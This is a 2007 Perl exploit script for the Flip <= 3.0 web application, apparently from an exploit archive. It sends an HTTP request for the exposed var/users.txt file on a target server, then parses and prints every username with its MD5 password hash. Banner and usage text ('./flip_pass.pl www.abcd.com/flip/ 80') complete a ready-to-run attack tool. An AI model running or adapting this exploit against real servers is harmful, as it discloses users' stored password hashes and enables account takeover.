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flip30-pass.txt

Posted on 20 September 2007

#!/usr/bin/perl

use strict;
use IO::Socket;

my $app = "Flip <= 3.0";
my $type = "Passwords Hash Disclosure";
my $author = "undefined1_";
my $vendor = "http://sourceforge.net/projects/flipsource";

banner();
my $server = shift || usage();
my $port = shift || usage();

if($server =~ /http:///)
{
$server = substr($server,7);
}

my $path = "/";
if(index($server, "/") != -1)
{
$path = substr($server, index($server, "/"));
$server = substr($server, 0, index($server, "/"));
if(substr($path, length($path)-1) ne "/") {
$path .= "/";
}
}

my $data = get($server, $port, $path."var/users.txt", "");
fail() unless $data !~ /404 Not Found/;
my $index1 = index($data, "

");
fail() unless $index1 >= 0;

$data = substr($data, $index1+4);
$index1 = 0;
printf ("%-20s %-32s
", "username", "md5 hash");
while(($index1 = index($data, "
")) >= 0)
{
my $hash = substr($data, 0, 32);
my $index2 = index($data, "][");
my $index3 = index($data, "][", $index2+2);
my $user = "";
if($index2 >= 0 && $index3 >= 0)
{
$user = substr($data, $index2+2, $index3-($index2+2));
}
printf ("%-20s %-32s
", $user, $hash);
$data = substr($data, $index1+1);
}

###################

sub get($,$,$,$) {
my $server = shift;
my $port = shift;
my $page = shift;
my $cookies = shift;
my $query = "GET $page HTTP/1.1
";
if($port != 80)
{
$query .= "Host: $server:$port
";
}
else
{
$query .= "Host: $server
";
}

$query .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2
";
$query .= "Connection: close
";
$query .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
";
$query .= "Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
";
$query .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
";

if(length($cookies))
{
$query .= "Cookie: ".$cookies."
";
}

$query .= "
";
return sendpacket($server, $port, $query);
}





sub sendpacket($,$,$) {
my $server = shift;
my $port = shift;
my $query = shift;
my $sock = IO::Socket::INET->new(Proto => "tcp",
PeerAddr => $server, PeerPort => $port)
or die "[-] Could not connect to $server:$port $!
";
print $sock $query;
my $data = "";
my $answer;
while($answer = <$sock>)
{
$data .= $answer;
}

close($sock);
return $data;
}



###################



sub fail() {
print "[-] exploit failed
";
exit;
}



sub banner() {
print ":: Flip <= 3.0 password hash disclosure exploit
";
print ":: by undefined1_ @ www.undef1.com


";
}



sub usage() {
print "usage  : ./flip_pass.pl <target> <port>
";
print "example: ./flip_pass.pl www.abcd.com/flip/ 80
";
exit;
}

 

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